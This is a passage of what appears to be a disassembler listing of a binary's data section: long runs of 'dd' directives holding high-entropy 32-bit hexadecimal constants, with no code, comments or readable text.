0F54B44FAh dd 746E604Bh, 0F529C500h, 9CF791CFh, 8D0F9716h, 2ED7F6CCh dd 9520EB5h, 447D1D19h, 41BD2265h, 0F6E38995h, 9300DCB9h dd 72B7E69Eh, 84C2873h, 12E99FD1h, 15D25C81h, 59F41094h dd 3EEE0098h, 0AE68F4B0h, 5402DD37h, 0C18D09A1h, 929A5707h dd 535F576Ah, 9AD37176h, 0F8DF79F0h, 25D52579h, 0F8513F76h dd 0D3DDF86Ah, 0F657E2B4h, 0B8B002B2h, 5190C6DBh, 81F5D9F5h dd 5B445ABBh, 0AD4FA50h, 134A07DCh, 1EAA7B5Fh, 7E54A3ECh dd 0E6E1624Bh, 0BF809768h, 289EE343h, 0D5205EB8h, 38680505h dd 0C1237374h, 2B5D0745h, 77C75F03h, 5F0BDA6Ch, 38CD6C64h dd 0FD2E0D7Dh, 956DA925h, 0DF2A9782h, 820535Fh, 6D920FD5h dd 0BD6FD5E5h, 0E7312EF7h, 2DEE1A17h, 0C9EF1A17h, 9CE400A1h dd 972F1CC4h, 7525DFF6h, 1A130E37h, 631DCD60h, 5192735Bh dd 532EC6E6h, 0F530B608h, 0D4DE1480h, 0E718143Ah, 0A912EFD3h dd 67F5E730h, 17080518h, 84E389h, 9539BF57h, 3567Ah, 520782E1h dd 0D1AEDA10h, 0BB43E901h, 4DA0B9A9h, 80096D26h, 0CF70D8DBh dd 90015BB0h, 502CA265h, 0FC3AEEB3h, 0D98B16FBh, 15ACF3B9h dd 0FE55018Ch, 0C7807468h, 0DB73A3h, 0A6A8CB54h, 919802h dd 21EE450Ah, 0CE262ACCh, 0FAD3711Ch, 54A03593h, 5783148Bh dd 0FB4B865Ch, 9BB25B12h, 161B6F5Bh, 89C66B10h, 59BB0253h dd 90433AC1h, 0E060C655h, 7CFEECF2h, 2E7E97CBh, 4599BD50h dd 0A5A2B823h, 0ECD2DC16h, 0D4B4D18h, 886EC48Fh, 0BCF5162Bh dd 0FEE8526Ah, 0C6F2730Ah, 0CCCE00E5h, 0B25B43C9h, 32DF3602h dd 5D240644h, 3C334A10h, 0D3465400h, 0E717AC41h, 2C8095B8h dd 5F5B7380h, 542FE92Ah, 60819577h, 6755DC9Dh, 7735B2F5h dd 0DF5E5B47h, 0ADCB3FC0h, 52E822h, 17FEB9C7h, 852947F9h dd 0C7286925h, 5D7818A3h, 0D17A9D2Bh, 659AE6A7h, 818E4127h dd 8156F27Bh, 0CF5BD29h, 89D4A23Bh, 950270DAh, 346084EFh dd 25D2CD33h, 7FC6D95Ch, 68D308A0h, 5650F625h, 111AF69Ch dd 5FD078D2h, 8CD80A53h, 9C77C17h, 0C833C131h, 4B0AED77h dd 0AA257AB0h, 0DCBF9400h, 9D9195E6h, 0C2810260h, 145E4D40h dd 4A6DBC84h, 1ACBB561h, 0C970D55Ah, 0DF0164FAh, 0F942D090h dd 0FD2B2C04h, 9ECD4AB7h, 321EB41h, 9D08FD2Eh, 0CFE58D97h dd 0A976E96Ah, 63F5706Fh, 9516016Ch, 70AB3445h, 5D9D31BEh dd 25BF2F4Eh, 0B9E604BFh, 0BE66000Ah, 0B761A0B7h, 73A41251h dd 0ED9B6225h, 908BCF7Ah, 0A51FB5F5h, 2001EF4Ch, 3A095FF1h dd 5C75237Bh, 0D2F4E22Ah, 0A4A31FE6h, 40A6C680h, 8E0B9005h dd 0B6EFCE24h, 265BF054h, 330D05DDh, 0BB21B59Dh, 5EA91849h dd 0D38050C5h, 6BB6575Ah, 0E8B173B4h, 0FE8B96E8h, 73F85051h dd 0EBFF1F41h, 7D6B61ACh, 45123492h, 0DFA23075h, 213B12FEh dd 0F4EE374h, 294884BFh, 49297172h, 0FF2715DEh, 4D0289B7h dd 796EF121h, 0B7490011h, 0CD587F5Fh, 0D5D0990Eh, 3C82BDC4h dd 62EB2C2Eh, 0C7927FBFh, 5BDC9D8h, 0CC913122h, 6073585Ah dd 4057994Bh, 7361F6F7h, 937ABB28h, 5F5DCD27h, 0B5897D98h dd 0DA103129h, 0D72FB742h, 0D9ED8A4Ch, 42310F19h, 3FE1B3D1h dd 0E0AF120h, 0D41C0B87h, 35F55FF8h, 0C020AEB9h, 58C6FA3Ch dd 1D12BA00h, 59950917h, 0E690952Eh, 9E955B57h, 4FED95C3h dd 12372D40h, 2B662C58h, 8EC78118h, 0D2E9FCA7h, 5D5542D7h dd 1003FDB7h, 0F4FC11B4h, 0D9914CC2h, 73732DEEh, 556EA78h dd 89A302F3h, 0EBD52485h, 9CA452E6h, 9C0F1748h, 161558B7h dd 8EE70B30h, 0D0240088h, 2C792D36h, 6B1E8B1Ch, 7782CB9Ch dd 0D890B544h, 88F14B5Dh, 0A34A0FD9h, 8DB4D8EAh, 0CDD1F1Dh dd 0EB8489FDh, 0D3827751h, 0B8749050h, 287573DCh, 2DAEFC34h dd 579022C1h, 0F6B57638h, 9261DEEDh, 2850F38h, 405B5311h dd 1A17D0B2h, 50B8D94h, 0C3645730h, 2D019D10h, 17569025h dd 1CE48A40h, 0C9D41383h, 0E4C8FA5Fh, 827900EBh, 5898D3AFh dd 650033CCh, 66AA07CAh, 5A7868BFh, 0BD87E95Fh, 0BF5A902Bh dd 1A340FC7h, 0DAD94856h, 0F2790C97h, 0A4D26BB6h, 89ACF88Fh dd 0DE8B57C2h, 82FFF175h, 24C5BD01h, 9E52582h, 56D1FF02h dd 0C287517Ah, 400F4F55h, 7455D39Ah, 0F3F16C01h, 26A0E27h dd 0CF629247h, 0C0F190h, 0B1EFC155h, 565C80EBh, 38270045h dd 5AEACA16h, 33E92661h, 55113AEh, 169EE092h, 0E57AA6B1h dd 60E0D0FAh, 51B1800Fh, 0C0BDBE81h, 0A28B61FCh, 8832EAA2h dd 48B7A363h, 0DD39E909h, 0DA489B1Ch, 81A34E33h, 7D9C6501h dd 0E9D733D6h, 78A1FDABh, 1AB8937Fh, 1CEA9CE0h, 0C5AAEDBDh dd 69A2FF14h, 4A39B050h, 89A5DD34h, 786BFFE2h, 0FD5A9A12h dd 6105B301h, 570C9F59h, 796D5FDCh, 80123E08h, 0E119B690h dd 0A92BBDE9h, 603BADA8h, 7838696Bh, 0A253B800h, 0F883645h dd 0A4D4BD8Eh, 55199AE0h, 0FF605BB2h, 0AA716A33h, 13FB7D8Ah dd 22199505h, 23466FABh, 0E61F0116h, 20FF6A26h, 29441DB1h dd 9F2CEEB5h, 1FDEBDDEh, 81912D1Eh, 0A7DC28D7h, 97612B10h dd 0B0020153h, 5A46FFh, 8FC1F563h, 1A2E0294h, 6ACA9600h dd 8B70E60Bh, 1294D9Dh, 71E4F509h, 0B1DCC3A2h, 2898A556h dd 95316057h, 0BF9F2075h, 2C76FE9Eh, 601F6108h, 0F0BBCE90h dd 0E3865C9Dh, 0E3E9AFBAh, 0E624204Fh, 0BFBDE24Ah, 0C585010Bh dd 17144CD5h, 0ADB52960h, 0BD27766Ch, 0C1689051h, 0AE520BBBh dd 0C8776B28h, 861CC546h, 0E0C82B37h, 981D2614h, 5BEFDED1h dd 0BCE97314h, 26FDC4FEh, 0F9C09B10h, 0CADF3E37h, 300556F4h dd 5F6A22Ah, 824E92D3h, 1BD5644h, 3CA7D5BFh, 4810B81Dh dd 51EEC0FEh, 4645A7Fh, 0EDE3E1F2h, 22C1ADCEh, 94566218h dd 33C02BCBh, 19D271E9h, 950171BAh, 0C9762B1Ch, 7AE3123Ah dd 25CEB294h dd 0EBEBDE51h, 883D1BD7h, 4AF50331h, 0CD8D95Bh, 0B300C0E1h dd 89AE426Fh, 327535h, 0F76BB492h, 80C1CC46h, 0D2924C58h dd 0BBDA88BFh, 40259477h, 0E4087538h, 0E8024994h, 51572D91h dd 0AF9045E4h, 0AC00CC7Ah, 411E529Dh, 0A105BAD1h, 8A0F2632h dd 77B59C62h, 0CF80AA10h, 0E3302BE9h, 90E6F381h, 0B9571379h dd 291E41D2h, 6F02A99Dh, 0A9BED388h, 0DB3BFCB2h, 0F37B8AFDh dd 0F731D989h, 47C038EDh, 4A2D1BBBh, 4A38B28Ch, 0ABD291ADh dd 38C112F4h, 880996BFh, 75515B3Bh, 4A4DE814h, 0B00E66A8h dd 6480BA40h, 73A593C2h, 0EC3D4503h, 82C402DAh, 165B5826h dd 0E6D22B5Fh, 0E758E033h, 4D780493h, 0BF90EA08h, 12B733D8h dd 0B76DE39Bh, 3119F2F7h, 69ADFCE6h, 0F18B452Eh, 352B48A6h dd 0CAAD0h, 0FC3A4030h, 43623127h, 1938BE90h, 0C441A5AFh dd 0BD231207h, 0EFD652A5h, 36C4CA9Fh, 308DEE82h, 80FF986Ah dd 565C9A9Dh, 0BE905600h, 0D0834325h, 0F9084A6Eh, 235E8F5h dd 3F2308FCh, 0D456DE8Bh, 0BF156651h, 0D7A95712h, 0C67F51C9h dd 0C5EF137Fh, 0AF6BAF5Fh, 0C6011823h, 0F5CF9952h, 0E1B3097Eh dd 0F080B637h, 0EF96B96Fh, 71951229h, 0E1CAAC25h, 75C20574h dd 0C4804F37h, 51675D33h, 0B8BC2536h, 9507207Fh, 13697C65h dd 17132C76h, 0D741AFA6h, 0CAF3805Fh, 49DE282Bh, 44A88DD3h dd 0B26C3112h, 50185E0h, 22C0BDDEh, 0DCFAF2FFh, 18C91304h dd 88FA8B4Ch, 2B905699h, 0A9072532h, 9D745560h, 0D6C502DCh dd 0FC6052CBh, 0D20BE8E6h, 0F7877283h, 3AFE3DE4h, 68D8DB17h dd 0DCBD73C3h, 0F43DB3AEh, 0C51262F6h, 549404ABh, 5635B826h dd 4ED0F722h, 95C1E610h, 31FC8F10h, 33CAA900h, 0B350708Bh dd 0E21D01FFh, 0DA7AC146h, 5B16B80h, 0AA2C442Bh, 1A233E01h dd 5601992Ch, 9C62E0BAh, 0C8BA9A6Bh, 9DDBC01Bh, 0D30953B7h dd 6AA5F7Ch, 953B14Ch, 0D54BBF66h, 3EDF29E1h, 0BEC15FECh dd 6B6173E0h, 14C8D29Ah, 8EE73C5h, 50131730h, 2414CCFEh dd 36B3A012h, 0A09FB7AAh, 0D99D798h, 78E3569Ah, 9B6E2F44h dd 6D6FA40Eh, 26A5B0B8h, 3E685B80h, 0D9A8615Ch, 1D192599h dd 0A2A32760h, 0CD26AF2Dh, 62B8C3F2h, 0BF38B6E0h, 5101101Bh dd 5F2CE95Eh, 0A9D1AD2Bh, 6477FC1Dh, 4B238F50h, 0BAAB85AFh dd 0EBA475B7h, 25D627B0h, 38C0A5B3h, 0E9802875h, 0B7015FEBh dd 806FA02Ch, 0DC92132Ah, 0BB0E704Bh, 0EDB5499Fh, 601B6405h dd 4C85B21h, 7AA52882h, 0B4E2EFC6h, 89EECC4Ah, 0E8F2B54Bh dd 0D4C2D825h, 0D0FD7B75h, 6F02BC5Bh, 6D80A855h, 4BECF0ECh dd 10D48B0Ch, 10C809C9h, 4574CC80h, 1B50A8h, 35B8EA60h dd 0EBBF795Eh, 313AE602h, 7509B98Dh, 1471FCFBh, 20BA5849h dd 4C9648FFh, 0EB4A8E3Ch, 242B2420h, 0A29F0055h, 7D08E659h dd 0F909B3EAh, 643FE3ABh, 247EB7CAh, 0DFD28EC0h, 965F25FEh dd 0DD7079F3h, 0F7D61219h, 0D1D304CBh, 0ED1F162Dh, 29FBE547h dd 0CF8B7519h, 0FEEBF956h, 0C368600Ah, 0E05A5D67h, 0E9506AFDh dd 0C19C133Ch, 0FFE9091Fh, 52920D79h, 37D52BC0h, 8590535Fh dd 4DEA2F00h, 87116172h, 0CB03E971h, 9A96AA6Fh, 0D85E135Dh dd 77C6C15Fh, 2A66E7Fh, 7060E1F0h, 88CCDF03h, 0D0819CA2h dd 4C6239D5h, 0B55BEB01h, 58A67B02h, 1942DCB4h, 4FEE4B00h dd 9411CC2h, 9BF15495h, 0DCAF9E61h, 74129B14h, 71FB2DABh dd 0BFDBE9A2h, 7AD7450h, 6688F071h, 0B8A8E49Bh, 8762A393h dd 783B5B0Bh, 472888D7h, 600BDE41h, 7B55E97Ch, 7716D829h dd 1DC9D99Dh, 949FC0E1h, 0B0FC7DD2h, 49320200h, 0D81DAD68h dd 0ACE5138Ah, 0BFC4AE3Bh, 0F5573AAEh, 1615B304h, 0FF18213h dd 27703D75h, 724C2AF7h, 7903C509h, 54DCC49Ah, 4BCFB301h dd 92C1201Bh, 790034F9h, 0DF359B45h, 21B023Bh, 2B19370Ah dd 0A975B5BDh, 6ACFD7FAh, 123D9BE0h, 90D39D96h, 78146404h dd 9E4E0FBDh, 0FE76C43Eh, 0AF198504h, 0A6DB4575h, 0FCE19181h dd 0C275C650h, 28377F7Dh, 0A5E7BA80h, 97890F5Fh, 0D0C22A1Ah dd 0F8257BDDh, 5F173270h, 1CAFD340h, 0EDE6E559h, 0C1B9F4B7h dd 55B37FEFh, 9A7BBAB7h, 9CF882Ch, 38DD2569h, 1805BFC3h dd 0E4049F09h, 0D697313Bh, 194DD461h, 98EC80F9h, 1A5FF4Bh dd 0AAD38127h, 2B65A785h, 8DFC0BB9h, 0B75AD800h, 70D259B6h dd 0E98B97F1h, 600065B7h, 0A84B9328h, 0ED5C2F26h, 0C6AF5FD9h dd 73B72739h, 69790642h, 44F34000h, 2DED4A21h, 0C176F9CFh dd 69E0BB78h, 0EED792B2h, 3A359544h, 31FF4F3Fh, 3FD8EB6Ah dd 6EA9F0A9h, 5B15EE60h, 0BCF05F5Ch, 55C00B30h, 0BFA0FE23h dd 63A4743Dh, 81F8C47Dh, 7F3041DDh, 202BAD9Dh, 51CCB6F7h dd 0AAA4ED2Eh, 59C8B860h, 1C64006Ch, 0DDD4E703h, 5B2E0223h dd 0C0253796h, 574BB69h, 0F39B2C8h, 0AF228431h, 20B58DB0h dd 81041615h, 45AF02DBh, 9A41CA9Dh, 7FEA47F3h, 0EC529653h dd 95A227B9h, 27BC8F7Ch, 3EE457h, 509B0E9h, 4FCDDE03h dd 9502AB79h, 8C25A4AAh, 777AD0C7h, 0F9D58205h, 40EB4846h dd 8B63CF81h, 50444600h, 1B1258BBh, 5CE8B54Eh, 0A82F548Eh dd 5570D43Dh, 0E70F4100h, 5B86C660h, 2857B0F4h, 6989D9B5h dd 3650FF7Bh, 0E434255Eh, 0D5D53077h, 41EE9508h, 0ED253A9Ch dd 0D98B091Ah, 50654A74h, 6AD9EEh, 3BF879FDh, 5AC62938h dd 0DDF03CB6h, 1A050CB4h, 830F015Ch, 0D4B33804h, 0CB46A2EEh dd 8866518Bh, 0E90318B9h, 8CFFF23Eh, 8FC0339Bh, 4F56DE6Ah dd 543FBA16h, 0BC00B4E2h, 0B8592C64h, 0D49F843Ah, 6101DE5Eh dd 0BE3779A6h, 17CCFE2Eh, 0D55748B9h, 0F0661FC0h, 2B5B81D7h dd 5F7249EEh, 272958AFh, 55D2235Bh, 46DA70Ah, 0C4CCF1F5h dd 504AAA4h, 664B0385h, 0AABD4076h, 3109A4BFh, 7216C58Dh dd 298A1226h, 212B221Ah, 0A5F6F975h, 0FC4064EDh, 28C02062h dd 94E7DF1Ch, 6CAAB014h, 845D9B8h, 49F02D36h, 5A3ECC31h dd 59250433h, 9F400CE8h, 0C47FFB54h, 8E65AF01h, 7B2E251Eh dd 0D88D2Ah, 295FF884h, 18ED9513h, 0C1BE60ABh, 602F2DA7h dd 6920F58Ch, 0FBB73503h, 3F8BB01Ch, 91119666h, 0EA6A5B12h dd 1180079Bh, 0A1351DF8h, 73485B00h, 89D1B3FEh, 2957959Dh dd 0E22A4D2Dh, 0F9F52C7Fh, 7AE8A521h, 1B0949D7h, 802861CBh dd 184E9C63h, 0E99E4E9Bh, 8C17ACCFh, 0D2EC750Fh, 54D7E645h dd 0B07C4F56h, 8612E397h, 689BD1FFh, 5574A84h, 38AE0CEDh dd 3DBFD1C5h, 90339427h, 0EA8FEAD3h, 6F026A12h, 0C00E0389h dd 0F8F47C3Ah, 2F3C86BBh, 8678777Fh, 3C2F8D20h, 612CF580h dd 60ECA6D4h, 0AC9D2EAFh, 0B87D300h, 0EA722CE7h, 94E0B012h dd 0F3CA425Fh, 160015C4h, 23602ADEh, 0B7107AD7h, 5C696BF4h dd 9A94819h, 16572FE9h, 501FBBE1h, 0A20E1211h, 44A5DD8Eh dd 0B2A0488Ah, 6AE9621Eh, 0EB0E160Dh, 711A5EFFh, 3B443194h dd 49019F6Fh, 0FC33B55Dh, 0D3B66B6Eh, 6ABDC4E1h, 57105D82h dd 35BF5996h, 0C0CD3D23h, 89FB844Eh, 8CBF1583h, 16006979h dd 90FD5449h, 0C7382Eh, 0EF1C1FFh, 0D37EBBFCh, 43F95B5Ah dd 0FCB37B9h, 42532515h, 77F87A3Ch, 0F990DA53h, 0A95BE9A4h dd 16B6BD2Fh, 60E95734h, 0FF440993h, 7EC0EBEDh, 76F1D5Ah dd 0E003C70Ch, 0CA5539D5h, 1051F67Dh, 1694580Ah, 7AEB2A49h dd 5F0473DAh, 660DF9FDh, 0BD6D98FEh, 0F7272925h, 0DE5EBEB2h dd 604052C4h, 0CA18D8Bh dd 0A60A5BB5h, 0AF21183Dh, 2BE1B061h, 91B31820h, 1E2C0913h dd 92DFF33Bh, 0AFB855BEh, 0DE25C991h, 61605D5Fh, 249DF98Bh dd 314111F4h, 8B1D5195h, 44C8B681h, 0E5890033h, 0D2991FE9h dd 5D0018B0h, 1ADE068Eh, 3B42CBE6h, 50CCDFF2h, 5B114072h dd 4E9DBA73h, 0BD1305F3h, 0C4C2886Ch, 0BB5853A2h, 13EB7BCCh dd 0A021D3A6h, 5FBC53F1h, 81CE7641h, 0DBD1333Fh, 3FE0DC0h dd 5BE60913h, 910C02B1h, 99060063h, 98EB699Bh, 0D89D5FF9h dd 5E07ACA5h, 33980BD1h, 2BC7C85Eh, 122335B2h, 0F550BD7h dd 6B176E4Ch, 6D215F1Dh, 0D0465BDh, 0AE89852Eh, 0F2006FDDh dd 4EE961F1h, 1673F357h, 67BEAAABh, 5D5626Fh, 246F3D39h dd 0B89D12D8h, 7FBBB0BFh, 958935D7h, 1460EEADh, 1F5112A6h dd 41F30C3Bh, 0D161B2BCh, 3B052C5Ah, 0B471CFDEh, 673A90A8h dd 19A572DDh, 0E0D36D55h, 74238F26h, 0E64E0203h, 5B148B27h dd 6118F14Ah, 70B72AB0h, 6294BA01h, 2A6168EEh, 1CA89CEDh dd 0E500D693h, 725B0330h, 76D2022Fh, 0E92B927h, 40F96F5Fh dd 0DC4E382Fh, 76512712h, 19E9FA04h, 36C1D9ABh, 0E1CB12Eh dd 7A2DBF4h, 0FC6DC250h, 0B7F60BB8h, 6E3D09F6h, 7502849Bh dd 2B072CC1h, 0F72F2D62h, 4AA1EDCCh, 3A76C9DFh, 8072CD3Dh dd 0BB8F4E0Fh, 0AAF125A1h, 9FD0D438h, 777D7725h, 3FED0941h dd 0BF97ACA8h, 88B94716h, 78C1AACh, 0FE86E03Eh, 0BEB3D4C6h dd 75A58BE6h, 4500AB4Ch, 39F3A3E6h, 0DF7702A1h, 2F05B531h dd 7A96D955h, 0FE2906C2h, 0DF493F76h, 0FC8A1DB8h, 9C8A5F4Eh dd 21AA6422h, 6AB8F749h, 9000997Eh, 75E63C45h, 1B02F325h dd 0F18D29E5h, 0AD735F20h, 70113BEh, 96AD8FFAh, 0FE66AA70h dd 0BD0813A6h, 849AA203h, 512047Eh, 0AE4EF22Ch, 6E4A62DAh dd 2A610962h, 467ED1F5h, 8B2F5727h, 0CB7F7F8h, 30983B00h dd 9FDC2F1Ch, 1E6A0DE2h, 0D325385Eh, 9258708Bh, 0E4BBD200h dd 4EEBD781h, 9DA6CF5Ch, 475D020Bh, 0D4D3E9D8h, 0EFEB3600h dd 300F23BBh, 521D0882h, 4D4F9509h, 885E84E9h, 1F00B178h dd 0FD3188D1h, 1B81E6Bh, 28A9EF89h, 6E81C292h, 5BB9DF04h dd 892252E9h, 0ADE5B2C8h, 0B5D6D15Ch, 0C61817B0h, 1509E830h dd 0E23D9C25h, 0BDD2BD54h, 7B018B90h, 5B316896h, 611014E9h dd 64010684h, 9ABBE8DEh, 0AA2B0440h, 0EAF5BD30h, 451A9D7Bh dd 1040687Eh, 7C67C673h, 8B0BA830h, 9523007Eh, 0F7810BACh dd 0F01240B6h, 88FA5B30h, 8A80DAA3h, 0D87A9FD9h, 0C2B09B7Fh dd 290A1125h, 1FA55538h, 73A6AB6Ah, 2FFA37E0h, 0C7228A04h dd 6881E4C9h, 9B62BD2Bh, 2527ED49h, 0E1D9EDFh, 5B5350D9h dd 5F5261B8h, 0D81D92F7h, 0F558AF21h, 0B2A1B62Ah, 0CE75311Dh dd 4E83EC57h, 2E1C8D3Ch, 904525C4h, 0F0E28D0Fh, 0D7E9F004h dd 0C77CDE01h, 0EA40E11Eh, 4FC80E45h, 0FBD9345Fh, 6C0043CAh dd 0AB23D44Dh, 9F171B7Dh, 0D5095FE8h, 5E7F0995h, 5342C0B8h dd 6C09B58Ch, 0D8612640h, 0F2D6BF7Bh, 0F04A2010h, 0D39D91DDh dd 1064D820h, 89F2BC16h, 9E1102E0h, 0EB66C0CBh, 790005FFh dd 0B3704494h, 9213E31Fh, 1E12503h, 15C34D1h, 3F67CBE1h dd 19E578FBh, 8FA50121h, 8F7B4818h, 173D2E3Ch, 2DF0A997h dd 0B00C4745h, 5BA99B7h, 0E215F8D9h, 92F0EBCEh, 941C42ADh dd 3B5102Ah, 0B83CC44Bh, 0DE0769CCh, 0E889AD7Eh, 0CDB93218h dd 28F4F001h, 1DF3A737h, 975B5374h, 8477FC9Ah, 68001733h dd 7C373FD6h, 9E409196h, 61D49Bh, 181D6DE3h, 32EA9240h dd 283E51F2h, 3C999A6Ah, 0B8507783h, 7CFC2979h, 0C272FE9Dh dd 8DFC1675h, 74B11F42h, 2D026923h, 7D091DF1h, 15707632h dd 6902604Bh, 619F1BDh, 75971461h, 0AEF9BFA4h, 0B76AC2C9h dd 77A7A0FFh, 62677B15h, 61DFD858h, 0E02B7F7h, 5881B195h dd 2A37165Fh, 6FE960F9h, 0E95F3BF7h, 71F5C969h, 351746EEh dd 0A83359B7h, 1A352D25h, 84069AF5h, 0FA527DAEh, 2EEDA4DAh dd 0A8259860h, 0E08C2630h, 0ED07DEFEh, 65D3AA5Ah, 0B0445430h dd 505125DAh, 5B6443DEh, 224FCBABh, 1F89B0D7h, 0A921DC40h dd 3C462D9h, 1F48FD4h, 0B5111FF1h, 63D2ED5Fh, 2F5801F7h dd 18422978h, 1A1DF541h, 0BB665F00h, 5EB31B2Fh, 6B00551Dh dd 9F971D4h, 0A84C97CCh, 17E2DF46h, 2FF36D30h, 0DE894543h dd 1BCE371h, 6B2E4866h, 43EA8B3h, 0D5A49C24h, 0C5D59B86h dd 0E6AB41C4h, 32DCB4C8h, 0A0C402A2h, 40D9B2E4h, 84407177h dd 291CC5B5h, 829AA87Ah, 5D86CB80h, 2FFA7431h, 9CFC9C35h dd 8A7E0820h, 0FEE87CBDh, 4B45F1BFh, 7F2130D5h, 0F2745AA7h dd 0EFBB09FBh, 0BD5B788Bh, 46C15ECDh, 0BA2BF49Dh, 4A8DAC25h dd 9137A30h, 77F34130h, 0C7A46C7Bh, 837B12D6h, 58B0BA65h dd 44B009BBh, 6E79705Ch, 81BD0385h, 2B6FC9AFh, 15238A6Bh dd 53EA80Bh, 0E5EC518Eh, 0AB1974D2h, 0FDA45FB6h, 0BF938048h dd 5A337F37h, 0D0458C6Ah, 0F1994C00h, 0CCBC4AF6h, 51A00277h dd 909A6B59h, 381718h, 74F779E6h, 14BAA2C6h, 5BD0FD12h dd 2515A551h, 524EF520h, 0CC98634Bh, 59952A29h, 23DBBDA3h dd 9519F0C9h, 1DCE65Eh, 823285D7h, 7E8D897Ah, 962DFAA8h dd 0AD0031F1h, 32ABA2F1h, 53FB1238h, 0B0C5FF17h, 0D71D3430h dd 0BC71EC4h, 9A74AFA7h, 60539641h, 0D54888DDh, 0F75B5A61h dd 5851281h, 854B71F7h, 0D1A7AE40h, 0F2EB7BF0h, 0E6ABB725h dd 6C14976Fh, 5534796Bh, 7581D437h, 15ABBBB7h, 7B989D2Eh dd 0B48134DAh, 49820F78h, 44D5DAAEh, 0B3F84BAAh, 0EFF5A43h dd 0E3C08FA9h, 0C00DDB15h, 4F2B030Bh, 40535839h, 0C65E5B16h dd 25FBB764h, 807BAE66h, 97001D23h, 1FF0715h, 0EE1FEA3Fh dd 27E9257Fh, 0BFF67C5Eh, 8C1270ECh, 95873691h, 0E280C123h dd 59DE577Eh, 0BBB097D4h, 1B056BE8h, 96415DFDh, 0CAA08FFh dd 0C2A2FE25h, 49759501h, 0DB3B6A04h, 5D4CCBEEh, 7725C03Dh dd 0F951C8EAh, 278A0200h, 128507Fh, 0CE2B3463h, 40D06D1Ch dd 1A39CD8Dh, 78A17BB5h, 0B24C9190h, 25FD130Eh, 0D3DE8FFAh dd 5ED471BFh, 0DDFA21CEh, 0A7600301h, 7D023D72h, 891A83EEh dd 5675ED95h, 2544AF66h, 0D729854Ch, 0BB6640BFh, 2FB711E3h dd 0DF3412D6h, 0AB4EB0ABh, 7D5B8F25h, 803EA7E6h, 96CE6DDFh dd 0E72D522Bh, 60FAA0C5h, 25430293h, 9EB3C1B1h, 51F6537Fh dd 2F9B581Dh, 0ED4F1F00h, 77F89B82h, 30BE4EDCh, 85BD2B0Ch dd 88F8085Eh, 0A84AADB5h, 17FA7580h, 6FD1FF8Bh, 0BF140013h dd 0DB32345Ch, 7511BF50h, 2E58C44Ah, 0D3523000h, 730D342Dh dd 330604ADh, 0BC11FD07h, 2A4DA2C7h, 5C908CAh, 4D026A09h dd 0EE78C028h, 8305F2DEh, 0F88BB452h, 0E17F7EA5h, 7BAC3B29h dd 0AFD4ABA4h, 3860B6EFh, 4BE9C001h, 1043CE92h, 15F839D7h dd 4A37028Ch, 0A5BD3356h, 5BA5847Fh, 46F6EBBh, 8E601FBAh dd 4AA43BCh, 50F0B74Ch, 0B33431ABh, 0AE7B7E90h, 0EEFFAE00h dd 0A4F279FBh, 0F5BF0F27h, 0FA5C2CB2h, 9BBB1013h, 7CA6D692h dd 51537D01h, 3A7718AAh, 0DCA92D05h, 27F9ECA1h, 0EDB8C307h dd 655E6182h, 0C6D78161h, 7D3B71FCh, 0D0849F6Ah, 0A9B54223h dd 0B7F35F33h, 1669C978h, 12778DD9h, 2706E670h, 70C3C6F6h dd 8D2918B0h, 70E67D1Dh, 2540B5B4h, 1829467Ah, 32CFC9B0h dd 0E4245FFBh, 2D095C71h, 7399571Dh, 0DA2D52C9h, 423AF155h dd 0B7C82BB3h, 197ADDBh dd 81BD01BDh, 0BF5ECD6Bh, 2D0CA05Ch, 3377C82Bh, 0E17FA37h dd 0B5A2D1CFh, 0EE552471h, 0CD9D3D72h, 13E05AC2h, 2BB3A949h dd 81FB66Bh, 0AE31C5F7h, 5D6E40AEh, 0B93D27F4h, 0A844029Eh dd 5CF5F839h, 21491B8h, 5BDD8A57h, 7390D7F9h, 18978B0Fh dd 9DE50971h, 0D025277Bh, 1C74971Dh, 0E9E4115Bh, 0CCDA2533h dd 0FB8995C0h, 2D6B6A88h, 3C6CDF56h, 0A21A4B21h, 0B47B8487h dd 1B233Eh, 565B97F9h, 47121DC2h, 719B6A9Ch, 315863C0h dd 8B4E2CADh, 0FA408EA2h, 0ED025A95h, 0F98BC64Dh, 0A452028h dd 920B925h, 943C375Ch, 0DF25A005h, 95299CC0h, 77C96949h dd 34B2A4A3h, 9DDFB8D5h, 12C49419h, 0E496B7BAh, 502DF7BBh dd 0F6A4C160h, 89819D25h, 0DA585EC9h, 8640A8EDh, 2FBDB3Bh dd 1F0601D4h, 375546DCh, 8EAD07AAh, 0CDC920D6h, 8A25D880h dd 9FBDC6FAh, 0F557F390h, 95015F05h, 0DBEE33E9h, 0BFA6D291h dd 43A6C12h, 1225971h, 29259D03h, 4051F72Ah, 2D5EADA5h dd 5ABF6FECh, 919B498h, 0CE2C63A0h, 46030375h, 0D381E030h dd 328612A2h, 17081615h, 57060BA4h, 42D7C209h, 59D056E4h dd 0A1E72F79h, 0F5D510B7h, 0E99408A3h, 0D6DC4F40h, 7D3D005Ch dd 0FC786CCDh, 4D4888FDh, 0CDFFD771h, 0D8322B21h, 81DD5EB5h dd 0FFE5C380h, 0B81B6DE1h, 6C6501C5h, 0D9BD89D0h, 25D3480Fh dd 7FA3234Bh, 4FD74A8Bh, 0C5BD4013h, 2F133949h, 2149E093h dd 469C572Bh, 74043025h, 7D4BF4D6h, 0D13A07CAh, 0A0FFE75Eh dd 1F7E1C51h, 52B639CEh, 1179055Eh, 0DFA7BE1Ah, 437616A0h dd 17F5E02h, 0D8A423BFh, 0C4D04BCFh, 8093EC2Fh, 0DEEDB39Eh dd 958D0E37h, 0AA2B4076h, 39099F5Eh, 25187857h, 4B5EDE8Ah dd 0C0ACCDE9h, 60439D8Fh, 0B79EBDB1h, 14507B41h, 0F0F46113h dd 550A2D01h, 0D1BD84F0h, 24354999h, 4E5D108Dh, 0E279996Bh dd 892D2071h, 8B7A8B5Fh, 92ED5749h, 55A912E0h, 0F8DA3EC2h dd 0EB7F5797h, 0F2EA5465h, 68610482h, 0F4C7355Dh, 8AFB8895h dd 9CD400C3h, 7DCA1BC2h, 0B9F70224h, 9AC3134Eh, 0A203F754h dd 0B86AEB36h, 2D0A95DFh, 0CF5E2ABBh, 5640F4C8h, 113B1E7h dd 0B365D24Ch, 2ECC7D62h, 0D9AE9F13h, 12FC3E30h, 2BF1E9B1h dd 6F046BBDh, 0AF7DB71Eh, 67807D2Ah, 0F16BEEAFh, 17BF302Eh dd 71F9B509h, 57604237h, 0D2549F8Bh, 57615889h, 18915BB5h dd 2C590880h, 1897667Ch, 90F8562Ch, 0BA9577B2h, 0B63BED45h dd 1B52F005h, 889C257Ah, 50532C1h, 